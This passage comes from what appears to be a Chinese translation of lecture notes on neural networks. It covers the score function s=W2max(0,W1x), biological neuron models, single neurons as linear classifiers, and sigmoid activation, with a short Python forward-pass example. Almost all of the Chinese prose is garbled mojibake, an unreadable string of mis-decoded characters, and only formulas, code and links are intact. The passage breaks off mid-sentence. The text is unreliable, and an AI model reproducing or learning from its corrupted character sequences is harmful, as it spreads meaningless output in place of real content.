ƒๅ ƒ](https://www.zhihu.com/people/kun-kun-97-81)่ฟ›่กŒๆ กๅฏนไฟฎๆ”นใ€‚่ฏ‘ๆ–‡ๅซๅ…ฌๅผๅ’Œไปฃ็ ๏ผŒๅปบ่ฎฎPC็ซฏ้˜…่ฏปใ€‚\n\n[TOC]\n\nๅ†…ๅฎนๅˆ—่กจ๏ผš\n\n- ไธ็”จๅคง่„‘ๅš็ฑปๆฏ”็š„ๅฟซ้€Ÿ็ฎ€ไป‹\n- ๅ•ไธช็ฅž็ปๅ…ƒๅปบๆจก\n - ็”Ÿ็‰ฉๅŠจๆœบๅ’Œ่ฟžๆŽฅ\n - ไฝœไธบ็บฟๆ€งๅˆ†็ฑปๅ™จ็š„ๅ•ไธช็ฅž็ปๅ…ƒ\n - ๅธธ็”จ็š„ๆฟ€ๆดปๅ‡ฝๆ•ฐ **่ฏ‘่€…ๆณจ๏ผšไธŠ็ฏ‡็ฟป่ฏ‘ๆˆชๆญขๅค„**\n- ็ฅž็ป็ฝ‘็ปœ็ป“ๆž„\n - ๅฑ‚็ป„็ป‡\n - ๅ‰ๅ‘ไผ ๆ’ญ่ฎก็ฎ—ไพ‹ๅญ\n - ่กจ่พพ่ƒฝๅŠ›\n - ่ฎพ็ฝฎๅฑ‚็š„ๆ•ฐ้‡ๅ’Œๅฐบๅฏธ\n- ๅฐ่Š‚\n- ๅ‚่€ƒๆ–‡็Œฎ\n\n## ๅฟซ้€Ÿ็ฎ€ไป‹\n\nๅœจไธ่ฏ‰่ฏธๅคง่„‘็š„็ฑปๆฏ”็š„ๆƒ…ๅ†ตไธ‹๏ผŒไพ็„ถๆ˜ฏๅฏไปฅๅฏน็ฅž็ป็ฝ‘็ปœ็ฎ—ๆณ•่ฟ›่กŒไป‹็ป็š„ใ€‚ๅœจ็บฟๆ€งๅˆ†็ฑปไธ€่Š‚ไธญ๏ผŒๅœจ็ป™ๅ‡บๅ›พๅƒ็š„ๆƒ…ๅ†ตไธ‹๏ผŒๆ˜ฏไฝฟ็”จ$s=Wx$ๆฅ่ฎก็ฎ—ไธๅŒ่ง†่ง‰็ฑปๅˆซ็š„่ฏ„ๅˆ†๏ผŒๅ…ถไธญ$W$ๆ˜ฏไธ€ไธช็Ÿฉ้˜ต๏ผŒ$x$ๆ˜ฏไธ€ไธช่พ“ๅ…ฅๅˆ—ๅ‘้‡๏ผŒๅฎƒๅŒ…ๅซไบ†ๅ›พๅƒ็š„ๅ…จ้ƒจๅƒ็ด ๆ•ฐๆฎใ€‚ๅœจไฝฟ็”จๆ•ฐๆฎๅบ“CIFAR-10็š„ๆกˆไพ‹ไธญ๏ผŒ$x$ๆ˜ฏไธ€ไธช[3072x1]็š„ๅˆ—ๅ‘้‡๏ผŒ$W$ๆ˜ฏไธ€ไธช[10x3072]็š„็Ÿฉ้˜ต๏ผŒๆ‰€ไปฅ่พ“ๅ‡บ็š„่ฏ„ๅˆ†ๆ˜ฏไธ€ไธชๅŒ…ๅซ10ไธชๅˆ†็ฑป่ฏ„ๅˆ†็š„ๅ‘้‡ใ€‚\n\n็ฅž็ป็ฝ‘็ปœ็ฎ—ๆณ•ๅˆ™ไธๅŒ๏ผŒๅฎƒ็š„่ฎก็ฎ—ๅ…ฌๅผๆ˜ฏ$s=W_2\\max(0,W_1x)$ใ€‚ๅ…ถไธญ$W_1$็š„ๅซไน‰ๆ˜ฏ่ฟ™ๆ ท็š„๏ผšไธพไธชไพ‹ๅญๆฅ่ฏด๏ผŒๅฎƒๅฏไปฅๆ˜ฏไธ€ไธช[100x3072]็š„็Ÿฉ้˜ต๏ผŒๅ…ถไฝœ็”จๆ˜ฏๅฐ†ๅ›พๅƒ่ฝฌๅŒ–ไธบไธ€ไธช100็ปด็š„่ฟ‡ๆธกๅ‘้‡ใ€‚ๅ‡ฝๆ•ฐ$max(0,-)$ๆ˜ฏ<u>้ž็บฟๆ€ง็š„</u>๏ผŒๅฎƒไผšไฝœ็”จๅˆฐๆฏไธชๅ…ƒ็ด ใ€‚่ฟ™ไธช้ž็บฟๆ€งๅ‡ฝๆ•ฐๆœ‰ๅคš็ง้€‰ๆ‹ฉ๏ผŒๅŽ็ปญๅฐ†ไผšๅญฆๅˆฐใ€‚ไฝ†่ฟ™ไธชๅฝขๅผๆ˜ฏไธ€ไธชๆœ€ๅธธ็”จ็š„้€‰ๆ‹ฉ๏ผŒๅฎƒๅฐฑๆ˜ฏ็ฎ€ๅ•ๅœฐ่ฎพ็ฝฎ้˜ˆๅ€ผ๏ผŒๅฐ†ๆ‰€ๆœ‰ๅฐไบŽ0็š„ๅ€ผๅ˜ๆˆ0ใ€‚ๆœ€็ปˆ๏ผŒ็Ÿฉ้˜ต![W_2](http://www.zhihu.com/equation?tex=W_2)็š„ๅฐบๅฏธๆ˜ฏ[10x100]๏ผŒๅ› ๆญคๅฐ†ๅพ—ๅˆฐ10ไธชๆ•ฐๅญ—๏ผŒ่ฟ™10ไธชๆ•ฐๅญ—ๅฏไปฅ่งฃ้‡Šไธบๆ˜ฏๅˆ†็ฑป็š„่ฏ„ๅˆ†ใ€‚ๆณจๆ„<u>้ž็บฟๆ€งๅ‡ฝๆ•ฐๅœจ่ฎก็ฎ—ไธŠๆ˜ฏ่‡ณๅ…ณ้‡่ฆ็š„</u>๏ผŒๅฆ‚ๆžœ็•ฅๅŽป่ฟ™ไธ€ๆญฅ๏ผŒ้‚ฃไนˆไธคไธช็Ÿฉ้˜ตๅฐ†ไผšๅˆไบŒไธบไธ€๏ผŒๅฏนไบŽๅˆ†็ฑป็š„่ฏ„ๅˆ†่ฎก็ฎ—ๅฐ†้‡ๆ–ฐๅ˜ๆˆๅ…ณไบŽ่พ“ๅ…ฅ็š„็บฟๆ€งๅ‡ฝๆ•ฐใ€‚<u>่ฟ™ไธช้ž็บฟๆ€งๅ‡ฝๆ•ฐๅฐฑๆ˜ฏ*ๆ”นๅ˜*็š„ๅ…ณ้”ฎ็‚น</u>ใ€‚ๅ‚ๆ•ฐ$W_1,W_2$ๅฐ†้€š่ฟ‡้šๆœบๆขฏๅบฆไธ‹้™ๆฅๅญฆไน ๅˆฐ๏ผŒไป–ไปฌ็š„ๆขฏๅบฆๅœจๅๅ‘ไผ ๆ’ญ่ฟ‡็จ‹ไธญ๏ผŒ้€š่ฟ‡้“พๅผๆณ•ๅˆ™ๆฅๆฑ‚ๅฏผ่ฎก็ฎ—ๅพ—ๅ‡บใ€‚\n\nไธ€ไธชไธ‰ๅฑ‚็š„็ฅž็ป็ฝ‘็ปœๅฏไปฅ็ฑปๆฏ”ๅœฐ็œ‹ๅš$s=W_3max(0,W_2max(0,W_1x))$๏ผŒๅ…ถไธญ$W_1,W_2,W_3$ๆ˜ฏ้œ€่ฆ่ฟ›่กŒๅญฆไน ็š„ๅ‚ๆ•ฐใ€‚ไธญ้—ด้šๅฑ‚็š„ๅฐบๅฏธๆ˜ฏ็ฝ‘็ปœ็š„่ถ…ๅ‚ๆ•ฐ๏ผŒๅŽ็ปญๅฐ†ๅญฆไน ๅฆ‚ไฝ•่ฎพ็ฝฎๅฎƒไปฌใ€‚็Žฐๅœจ่ฎฉๆˆ‘ไปฌๅ…ˆไปŽ็ฅž็ปๅ…ƒๆˆ–่€…็ฝ‘็ปœ็š„่ง’ๅบฆ็†่งฃไธŠ่ฟฐ่ฎก็ฎ—ใ€‚\n\n## ๅ•ไธช็ฅž็ปๅ…ƒๅปบๆจก\n\n็ฅž็ป็ฝ‘็ปœ็ฎ—ๆณ•้ข†ๅŸŸๆœ€ๅˆๆ˜ฏ่ขซๅฏน็”Ÿ็‰ฉ็ฅž็ป็ณป็ปŸๅปบๆจก่ฟ™ไธ€็›ฎๆ ‡ๅฏๅ‘๏ผŒไฝ†้šๅŽไธŽๅ…ถ<u>ๅˆ†้“ๆ‰ฌ้•ณ</u>๏ผŒๆˆไธบไธ€ไธชๅทฅ็จ‹้—ฎ้ข˜๏ผŒๅนถๅœจๆœบๅ™จๅญฆไน ้ข†ๅŸŸๅ–ๅพ—่‰ฏๅฅฝๆ•ˆๆžœใ€‚็„ถ่€Œ๏ผŒ่ฎจ่ฎบๅฐ†่ฟ˜ๆ˜ฏไปŽๅฏน็”Ÿ็‰ฉ็ณป็ปŸ็š„ไธ€ไธช้ซ˜ๅฑ‚ๆฌก็š„็ฎ€็•ฅๆ่ฟฐๅผ€ๅง‹๏ผŒๅ› ไธบ็ฅž็ป็ฝ‘็ปœๆฏ•็ซŸๆ˜ฏไปŽ่ฟ™้‡Œๅพ—ๅˆฐไบ†ๅฏๅ‘ใ€‚\n\n### ็”Ÿ็‰ฉๅŠจๆœบไธŽ่ฟžๆŽฅ\n\nๅคง่„‘็š„ๅŸบๆœฌ่ฎก็ฎ—ๅ•ไฝๆ˜ฏ**็ฅž็ปๅ…ƒ๏ผˆneuron**๏ผ‰ใ€‚ไบบ็ฑป็š„็ฅž็ป็ณป็ปŸไธญๅคง็บฆๆœ‰860ไบฟไธช็ฅž็ปๅ…ƒ๏ผŒๅฎƒไปฌ่ขซๅคง็บฆ10^14-10^15ไธช**็ช่งฆ๏ผˆsynapses๏ผ‰**่ฟžๆŽฅ่ตทๆฅใ€‚ไธ‹้ขๅ›พ่กจ็š„ๅทฆ่พนๅฑ•็คบไบ†ไธ€ไธช็”Ÿ็‰ฉๅญฆ็š„็ฅž็ปๅ…ƒ๏ผŒๅณ่พนๅฑ•็คบไบ†ไธ€ไธชๅธธ็”จ็š„ๆ•ฐๅญฆๆจกๅž‹ใ€‚ๆฏไธช็ฅž็ปๅ…ƒ้ƒฝไปŽๅฎƒ็š„**ๆ ‘็ช**่Žทๅพ—่พ“ๅ…ฅไฟกๅท๏ผŒ็„ถๅŽๆฒฟ็€ๅฎƒๅ”ฏไธ€็š„**่ฝด็ช๏ผˆaxon๏ผ‰**ไบง็”Ÿ่พ“ๅ‡บไฟกๅทใ€‚่ฝด็ชๅœจๆœซ็ซฏไผš้€ๆธๅˆ†ๆž๏ผŒ้€š่ฟ‡็ช่งฆๅ’Œๅ…ถไป–็ฅž็ปๅ…ƒ็š„ๆ ‘็ช็›ธ่ฟžใ€‚\n\nๅœจ็ฅž็ปๅ…ƒ็š„่ฎก็ฎ—ๆจกๅž‹ไธญ๏ผŒๆฒฟ็€่ฝด็ชไผ ๆ’ญ็š„ไฟกๅท๏ผˆๆฏ”ๅฆ‚$x_0$๏ผ‰ๅฐ†ๅŸบไบŽ็ช่งฆ็š„็ช่งฆๅผบๅบฆ๏ผˆๆฏ”ๅฆ‚$w_0$๏ผ‰๏ผŒไธŽๅ…ถไป–็ฅž็ปๅ…ƒ็š„ๆ ‘็ช่ฟ›่กŒไน˜ๆณ•ไบคไบ’๏ผˆๆฏ”ๅฆ‚$w_0x_0$๏ผ‰ใ€‚<u>ๅ…ถ่ง‚็‚นๆ˜ฏ๏ผŒ็ช่งฆ็š„ๅผบๅบฆ๏ผˆไนŸๅฐฑๆ˜ฏๆƒ้‡$w$๏ผ‰๏ผŒๆ˜ฏๅฏๅญฆไน ็š„ไธ”ๅฏไปฅๆŽงๅˆถไธ€ไธช็ฅž็ปๅ…ƒๅฏนไบŽๅฆไธ€ไธช็ฅž็ปๅ…ƒ็š„ๅฝฑๅ“ๅผบๅบฆ๏ผˆ่ฟ˜ๅฏไปฅๆŽงๅˆถๅฝฑๅ“ๆ–นๅ‘๏ผšไฝฟๅ…ถๅ…ดๅฅ‹๏ผˆๆญฃๆƒ้‡๏ผ‰ๆˆ–ไฝฟๅ…ถๆŠ‘ๅˆถ๏ผˆ่ดŸๆƒ้‡๏ผ‰๏ผ‰</u>ใ€‚ๅœจๅŸบๆœฌๆจกๅž‹ไธญ๏ผŒๆ ‘็ชๅฐ†ไฟกๅทไผ ้€’ๅˆฐ็ป†่ƒžไฝ“๏ผŒไฟกๅทๅœจ็ป†่ƒžไฝ“ไธญ็›ธๅŠ ใ€‚ๅฆ‚ๆžœๆœ€็ปˆไน‹ๅ’Œ้ซ˜ไบŽๆŸไธช้˜ˆๅ€ผ๏ผŒ้‚ฃไนˆ็ฅž็ปๅ…ƒๅฐ†ไผš*ๆฟ€ๆดป*๏ผŒๅ‘ๅ…ถ่ฝด็ช่พ“ๅ‡บไธ€ไธชๅณฐๅ€ผไฟกๅทใ€‚ๅœจ่ฎก็ฎ—ๆจกๅž‹ไธญ๏ผŒๆˆ‘ไปฌๅ‡่ฎพๅณฐๅ€ผไฟกๅท็š„ๅ‡†็กฎๆ—ถ้—ด็‚นไธ้‡่ฆ๏ผŒๆ˜ฏๆฟ€ๆดปไฟกๅท็š„้ข‘็Ž‡ๅœจไบคๆตไฟกๆฏใ€‚ๅŸบไบŽ่ฟ™ไธช*้€Ÿ็Ž‡็ผ–็ *็š„่ง‚็‚น๏ผŒๅฐ†็ฅž็ปๅ…ƒ็š„ๆฟ€ๆดป็Ž‡ๅปบๆจกไธบ**ๆฟ€ๆดปๅ‡ฝๆ•ฐ๏ผˆactivation function๏ผ‰$f$**๏ผŒๅฎƒ่กจ่พพไบ†่ฝด็ชไธŠๆฟ€ๆดปไฟกๅท็š„้ข‘็Ž‡ใ€‚็”ฑไบŽๅŽ†ๅฒๅŽŸๅ› ๏ผŒๆฟ€ๆดปๅ‡ฝๆ•ฐๅธธๅธธ้€‰ๆ‹ฉไฝฟ็”จ**sigmoidๅ‡ฝๆ•ฐ$\\sigma$**๏ผŒ่ฏฅๅ‡ฝๆ•ฐ่พ“ๅ…ฅๅฎžๆ•ฐๅ€ผ๏ผˆๆฑ‚ๅ’ŒๅŽ็š„ไฟกๅทๅผบๅบฆ๏ผ‰๏ผŒ็„ถๅŽๅฐ†่พ“ๅ…ฅๅ€ผๅŽ‹็ผฉๅˆฐ0-1ไน‹้—ดใ€‚ๅœจๆœฌ่Š‚ๅŽ้ข้ƒจๅˆ†ไผš็œ‹ๅˆฐ่ฟ™ไบ›ๆฟ€ๆดปๅ‡ฝๆ•ฐ็š„ๅ„็ง็ป†่Š‚ใ€‚\n\n---\n\n![](https://i.loli.net/2018/08/26/5b82c8f37475d.png)\n\nๅทฆ่พนๆ˜ฏ็”Ÿ็‰ฉ็ฅž็ปๅ…ƒ๏ผŒๅณ่พนๆ˜ฏๆ•ฐๅญฆๆจกๅž‹ใ€‚\n\n---\n\nไธ€ไธช็ฅž็ปๅ…ƒๅ‰ๅ‘ไผ ๆ’ญ็š„ๅฎžไพ‹ไปฃ็ ๅฆ‚ไธ‹๏ผš\n\n```python\nclass Neuron(object):\n # ... \n def forward(inputs):\n \"\"\" ๅ‡่ฎพ่พ“ๅ…ฅๅ’Œๆƒ้‡ๆ˜ฏ1-D็š„numpyๆ•ฐ็ป„๏ผŒๅๅทฎๆ˜ฏไธ€ไธชๆ•ฐๅญ— \"\"\"\n cell_body_sum = np.sum(inputs * self.weights) + self.bias\n firing_rate = 1.0 / (1.0 + math.exp(-cell_body_sum)) # sigmoidๆฟ€ๆดปๅ‡ฝๆ•ฐ\n return firing_rate\n```\n\nๆขๅฅ่ฏ่ฏด๏ผŒๆฏไธช็ฅž็ปๅ…ƒ้ƒฝๅฏนๅฎƒ็š„่พ“ๅ…ฅๅ’Œๆƒ้‡่ฟ›่กŒ็‚น็งฏ๏ผŒ็„ถๅŽๅŠ ไธŠๅๅทฎ๏ผŒๆœ€ๅŽไฝฟ็”จ้ž็บฟๆ€งๅ‡ฝๆ•ฐ๏ผˆๆˆ–็งฐไธบๆฟ€ๆดปๅ‡ฝๆ•ฐ๏ผ‰ใ€‚ๆœฌไพ‹ไธญไฝฟ็”จ็š„ๆ˜ฏsigmoidๅ‡ฝๆ•ฐ$\\sigma(x)=1/(1+e^{-x})$ใ€‚ๅœจๆœฌ่Š‚็š„ๆœซๅฐพ้ƒจๅˆ†ๅฐ†ไป‹็ปไธๅŒๆฟ€ๆดปๅ‡ฝๆ•ฐ็š„็ป†่Š‚ใ€‚\n\n**็ฒ—็ณ™ๆจกๅž‹**๏ผš่ฆๆณจๆ„่ฟ™ไธชๅฏนไบŽ็”Ÿ็‰ฉ็ฅž็ปๅ…ƒ็š„ๅปบๆจกๆ˜ฏ้žๅธธ็ฒ—็ณ™็š„๏ผšๅœจๅฎž้™…ไธญ๏ผŒๆœ‰ๅพˆๅคšไธๅŒ็ฑปๅž‹็š„็ฅž็ปๅ…ƒ๏ผŒๆฏ็ง้ƒฝๆœ‰ไธๅŒ็š„ๅฑžๆ€งใ€‚็”Ÿ็‰ฉ็ฅž็ปๅ…ƒ็š„ๆ ‘็ชๅฏไปฅ่ฟ›่กŒๅคๆ‚็š„้ž็บฟๆ€ง่ฎก็ฎ—ใ€‚็ช่งฆๅนถไธๅฐฑๆ˜ฏไธ€ไธช็ฎ€ๅ•็š„ๆƒ้‡๏ผŒๅฎƒไปฌๆ˜ฏๅคๆ‚็š„้ž็บฟๆ€งๅŠจๆ€็ณป็ปŸใ€‚ๅพˆๅคš็ณป็ปŸไธญ๏ผŒ่พ“ๅ‡บ็š„ๅณฐๅ€ผไฟกๅท็š„็ฒพ็กฎๆ—ถ้—ด็‚น้žๅธธ้‡่ฆ๏ผŒ่ฏดๆ˜Ž้€Ÿ็Ž‡็ผ–็ ็š„่ฟ‘ไผผๆ˜ฏไธๅคŸๅ…จ้ข็š„ใ€‚้‰ดไบŽๆ‰€ๆœ‰่ฟ™ไบ›ๅทฒ็ปไป‹็ปๅ’Œๆ›ดๅคšๆœชไป‹็ป็š„็ฎ€ๅŒ–๏ผŒๅฆ‚ๆžœไฝ ็”ปๅ‡บไบบ็ฑปๅคง่„‘ๅ’Œ็ฅž็ป็ฝ‘็ปœไน‹้—ด็š„็ฑปๆฏ”๏ผŒๆœ‰็ฅž็ป็ง‘ๅญฆ่ƒŒๆ™ฏ็š„ไบบๅฏนไฝ ็š„ๆฟไนฆ่ตทๅ“„ไนŸๆ˜ฏ้žๅธธ่‡ช็„ถ็š„ใ€‚ๅฆ‚ๆžœไฝ ๅฏนๆญคๆ„Ÿๅ…ด่ถฃ๏ผŒๅฏไปฅ็œ‹็œ‹่ฟ™ไปฝ[่ฏ„่ฎบ](http://link.zhihu.com/?target=https%3A//physics.ucsd.edu/neurophysics/courses/physics_171/annurev.neuro.28.061604.135703.pdf)ๆˆ–่€…ๆœ€ๆ–ฐ็š„[ๅฆไธ€ไปฝ](http://link.zhihu.com/?target=http%3A//www.sciencedirect.com/science/article/pii/S0959438814000130)ใ€‚\n\n### ไฝœไธบ็บฟๆ€งๅˆ†็ฑปๅ™จ็š„ๅ•ไธช็ฅž็ปๅ…ƒ\n\n็ฅž็ปๅ…ƒๆจกๅž‹็š„ๅ‰ๅ‘่ฎก็ฎ—ๆ•ฐๅญฆๅ…ฌๅผ็œ‹่ตทๆฅๅฏ่ƒฝๆฏ”่พƒ็œผ็†Ÿใ€‚ๅฐฑๅƒๅœจ็บฟๆ€งๅˆ†็ฑปๅ™จไธญ็œ‹ๅˆฐ็š„้‚ฃๆ ท๏ผŒ็ฅž็ปๅ…ƒๆœ‰่ƒฝๅŠ›โ€œๅ–œๆฌขโ€๏ผˆๆฟ€ๆดปๅ‡ฝๆ•ฐๅ€ผๆŽฅ่ฟ‘1๏ผ‰๏ผŒๆˆ–่€…ไธๅ–œๆฌข๏ผˆๆฟ€ๆดปๅ‡ฝๆ•ฐๅ€ผๆŽฅ่ฟ‘0๏ผ‰่พ“ๅ…ฅ็ฉบ้—ดไธญ็š„ๆŸไบ›็บฟๆ€งๅŒบๅŸŸใ€‚ๅ› ๆญค๏ผŒๅช่ฆๅœจ็ฅž็ปๅ…ƒ็š„่พ“ๅ‡บ็ซฏๆœ‰ไธ€ไธชๅˆ้€‚็š„ๆŸๅคฑๅ‡ฝๆ•ฐ๏ผŒๅฐฑ่ƒฝ่ฎฉๅ•ไธช็ฅž็ปๅ…ƒๅ˜ๆˆไธ€ไธช็บฟๆ€งๅˆ†็ฑปๅ™จใ€‚\n\n**ไบŒๅˆ†็ฑปSoftmaxๅˆ†็ฑปๅ™จ**ใ€‚ไธพไพ‹ๆฅ่ฏด๏ผŒๅฏไปฅๆŠŠ$\\displaystyle\\sigma(\\Sigma_iw_ix_i+b)$็œ‹ๅšๅ…ถไธญไธ€ไธชๅˆ†็ฑป็š„ๆฆ‚็Ž‡$P(y_i=1|x_i;w)$๏ผŒๅ…ถไป–ๅˆ†็ฑป็š„ๆฆ‚็Ž‡ไธบ$P(y_i=0|x_i;w)=1-P(y_i=1|x_i;w)$๏ผŒๅ› ไธบๅฎƒไปฌๅŠ ่ตทๆฅๅฟ…้กปไธบ1ใ€‚ๆ นๆฎ่ฟ™็ง็†่งฃ๏ผŒๅฏไปฅๅพ—ๅˆฐไบคๅ‰็†ตๆŸๅคฑ๏ผŒ่ฟ™ไธชๅœจ็บฟๆ€งๅˆ†็ฑปๅ™จไธ€่Š‚ไธญๅทฒ็ปไป‹็ปใ€‚็„ถๅŽๅฐ†ๅฎƒๆœ€ไผ˜ๅŒ–ไธบไบŒๅˆ†็ฑป็š„Softmaxๅˆ†็ฑปๅ™จ๏ผˆไนŸๅฐฑๆ˜ฏ้€ป่พ‘ๅ›žๅฝ’๏ผ‰ใ€‚ๅ› ไธบsigmoidๅ‡ฝๆ•ฐ่พ“ๅ‡บ้™ๅฎšๅœจ0-1ไน‹้—ด๏ผŒๆ‰€ไปฅๅˆ†็ฑปๅ™จๅšๅ‡บ้ข„ๆต‹็š„ๅŸบๅ‡†ๆ˜ฏ็ฅž็ปๅ…ƒ็š„่พ“ๅ‡บๆ˜ฏๅฆๅคงไบŽ0.5ใ€‚\n\n**ไบŒๅˆ†็ฑปSVMๅˆ†็ฑปๅ™จ**ใ€‚ๆˆ–่€…ๅฏไปฅๅœจ็ฅž็ปๅ…ƒ็š„่พ“ๅ‡บๅค–ๅขžๅŠ ไธ€ไธชๆœ€ๅคง่พน็•ŒๆŠ˜ๅถๆŸๅคฑ๏ผˆmax-margin hinge loss๏ผ‰ๅ‡ฝๆ•ฐ๏ผŒๅฐ†ๅ…ถ่ฎญ็ปƒๆˆไธ€ไธชไบŒๅˆ†็ฑป็š„ๆ”ฏๆŒๅ‘้‡ๆœบใ€‚\n\n**็†่งฃๆญฃๅˆ™ๅŒ–**ใ€‚ๅœจSVM/Softmax็š„ไพ‹ๅญไธญ๏ผŒๆญฃๅˆ™ๅŒ–ๆŸๅคฑไปŽ็”Ÿ็‰ฉๅญฆ่ง’ๅบฆๅฏไปฅ็œ‹ๅš*้€ๆธ้—ๅฟ˜*๏ผŒๅ› ไธบๅฎƒ็š„ๆ•ˆๆžœๆ˜ฏ่ฎฉๆ‰€ๆœ‰็ช่งฆๆƒ้‡$w$ๅœจๅ‚ๆ•ฐๆ›ดๆ–ฐ่ฟ‡็จ‹ไธญ้€ๆธๅ‘็€0ๅ˜ๅŒ–ใ€‚\n\n> ไธ€ไธชๅ•็‹ฌ็š„็ฅž็ปๅ…ƒๅฏไปฅ็”จๆฅๅฎž็Žฐไธ€ไธชไบŒๅˆ†็ฑปๅˆ†็ฑปๅ™จ๏ผŒๆฏ”ๅฆ‚ไบŒๅˆ†็ฑป็š„Softmaxๆˆ–่€…SVMๅˆ†็ฑปๅ™จใ€‚\n\n### ๅธธ็”จๆฟ€ๆดปๅ‡ฝๆ•ฐ\n\nๆฏไธชๆฟ€ๆดปๅ‡ฝๆ•ฐ๏ผˆๆˆ–้ž็บฟๆ€งๅ‡ฝๆ•ฐ๏ผ‰็š„่พ“ๅ…ฅ้ƒฝๆ˜ฏไธ€ไธชๆ•ฐๅญ—๏ผŒ็„ถๅŽๅฏนๅ…ถ่ฟ›่กŒๆŸ็งๅ›บๅฎš็š„ๆ•ฐๅญฆๆ“ไฝœใ€‚ไธ‹้ขๆ˜ฏๅœจๅฎž่ทตไธญๅฏ่ƒฝ้‡ๅˆฐ็š„ๅ‡ ็งๆฟ€ๆดปๅ‡ฝๆ•ฐ๏ผš\n\n---\n\n![](https://i.loli.net/2018/08/26/5b82c90da3111.png)\n\nๅทฆ่พนๆ˜ฏSigmoid้ž็บฟๆ€งๅ‡ฝๆ•ฐ๏ผŒๅฐ†ๅฎžๆ•ฐๅŽ‹็ผฉๅˆฐ[0,1]ไน‹้—ดใ€‚ๅณ่พนๆ˜ฏtanhๅ‡ฝๆ•ฐ๏ผŒๅฐ†ๅฎžๆ•ฐๅŽ‹็ผฉๅˆฐ[-1,1]ใ€‚\n\n---\n\n**Sigmoidใ€‚**sigmoid้ž็บฟๆ€งๅ‡ฝๆ•ฐ็š„ๆ•ฐๅญฆๅ…ฌๅผๆ˜ฏ\n$$\n\\displaystyle\\sigma(x)=1/(1+e^{-x})\n$$\nๅ‡ฝๆ•ฐๅ›พๅƒๅฆ‚ไธŠๅ›พ็š„ๅทฆ่พนๆ‰€็คบใ€‚ๅœจๅ‰ไธ€่Š‚ไธญๅทฒ็ปๆๅˆฐ่ฟ‡๏ผŒๅฎƒ่พ“ๅ…ฅๅฎžๆ•ฐๅ€ผๅนถๅฐ†ๅ…ถโ€œๆŒคๅŽ‹โ€ๅˆฐ0ๅˆฐ1่Œƒๅ›ดๅ†…ใ€‚ๆ›ดๅ…ทไฝ“ๅœฐ่ฏด๏ผŒๅพˆๅคง็š„่ดŸๆ•ฐๅ˜ๆˆ0๏ผŒๅพˆๅคง็š„ๆญฃๆ•ฐๅ˜ๆˆ1ใ€‚ๅœจๅŽ†ๅฒไธŠ๏ผŒsigmoidๅ‡ฝๆ•ฐ้žๅธธๅธธ็”จ๏ผŒ่ฟ™ๆ˜ฏๅ› ไธบๅฎƒๅฏนไบŽ็ฅž็ปๅ…ƒ็š„ๆฟ€ๆดป้ข‘็Ž‡ๆœ‰่‰ฏๅฅฝ็š„่งฃ้‡Š๏ผšไปŽๅฎŒๅ…จไธๆฟ€ๆดป๏ผˆ0๏ผ‰ๅˆฐๅœจๆฑ‚ๅ’ŒๅŽ็š„ๆœ€ๅคง้ข‘็Ž‡ๅค„็š„ๅฎŒๅ…จ้ฅฑๅ’Œ๏ผˆ**saturated**๏ผ‰็š„ๆฟ€ๆดป๏ผˆ1๏ผ‰ใ€‚็„ถ่€Œ็Žฐๅœจsigmoidๅ‡ฝๆ•ฐๅทฒ็ปไธๅคชๅ—ๆฌข่ฟŽ๏ผŒๅฎž้™…ๅพˆๅฐ‘ไฝฟ็”จไบ†๏ผŒ่ฟ™ๆ˜ฏๅ› ไธบๅฎƒๆœ‰ไธคไธชไธป่ฆ็ผบ็‚น๏ผš\n\n- *Sigmoidๅ‡ฝๆ•ฐ้ฅฑๅ’Œไฝฟๆขฏๅบฆๆถˆๅคฑ*ใ€‚sigmoid็ฅž็ปๅ…ƒๆœ‰ไธ€ไธชไธๅฅฝ็š„็‰นๆ€ง๏ผŒๅฐฑๆ˜ฏ<u>ๅฝ“็ฅž็ปๅ…ƒ็š„ๆฟ€ๆดปๅœจๆŽฅ่ฟ‘0ๆˆ–1ๅค„ๆ—ถไผš้ฅฑๅ’Œ๏ผšๅœจ่ฟ™ไบ›ๅŒบๅŸŸ๏ผŒๆขฏๅบฆๅ‡ ไนŽไธบ0</u>ใ€‚ๅ›žๅฟ†ไธ€ไธ‹๏ผŒๅœจๅๅ‘ไผ ๆ’ญ็š„ๆ—ถๅ€™๏ผŒ่ฟ™ไธช๏ผˆๅฑ€้ƒจ๏ผ‰ๆขฏๅบฆๅฐ†ไผšไธŽๆ•ดไธชๆŸๅคฑๅ‡ฝๆ•ฐๅ…ณไบŽ่ฏฅ้—จๅ•ๅ…ƒ่พ“ๅ‡บ็š„ๆขฏๅบฆ็›ธไน˜ใ€‚ๅ› ๆญค๏ผŒๅฆ‚ๆžœๅฑ€้ƒจๆขฏๅบฆ้žๅธธๅฐ๏ผŒ้‚ฃไนˆ็›ธไน˜็š„็ป“ๆžœไนŸไผšๆŽฅ่ฟ‘้›ถ๏ผŒ่ฟ™ไผšๆœ‰ๆ•ˆๅœฐโ€œๆ€ๆญปโ€ๆขฏๅบฆ๏ผŒๅ‡ ไนŽๅฐฑๆฒกๆœ‰ไฟกๅท้€š่ฟ‡็ฅž็ปๅ…ƒไผ ๅˆฐๆƒ้‡ๅ†ๅˆฐๆ•ฐๆฎไบ†ใ€‚่ฟ˜ๆœ‰๏ผŒไธบไบ†้˜ฒๆญข้ฅฑๅ’Œ๏ผŒๅฟ…้กปๅฏนไบŽๆƒ้‡็Ÿฉ้˜ตๅˆๅง‹ๅŒ–็‰นๅˆซ็•™ๆ„ใ€‚ๆฏ”ๅฆ‚๏ผŒๅฆ‚ๆžœๅˆๅง‹ๅŒ–ๆƒ้‡่ฟ‡ๅคง๏ผŒ้‚ฃไนˆๅคงๅคšๆ•ฐ็ฅž็ปๅ…ƒๅฐ†ไผš้ฅฑๅ’Œ๏ผŒๅฏผ่‡ด็ฝ‘็ปœๅฐฑๅ‡ ไนŽไธๅญฆไน ไบ†ใ€‚\n- *Sigmoidๅ‡ฝๆ•ฐ็š„่พ“ๅ‡บไธๆ˜ฏ้›ถไธญๅฟƒ็š„*ใ€‚่ฟ™ไธชๆ€ง่ดจๅนถไธๆ˜ฏๆˆ‘ไปฌๆƒณ่ฆ็š„๏ผŒๅ› ไธบ<u>ๅœจ็ฅž็ป็ฝ‘็ปœๅŽ้ขๅฑ‚ไธญ็š„็ฅž็ปๅ…ƒๅพ—ๅˆฐ็š„ๆ•ฐๆฎๅฐ†ไธๆ˜ฏ้›ถไธญๅฟƒ็š„ใ€‚่ฟ™ไธ€ๆƒ…ๅ†ตๅฐ†ๅฝฑๅ“ๆขฏๅบฆไธ‹้™็š„่ฟไฝœ</u>๏ผŒๅ› 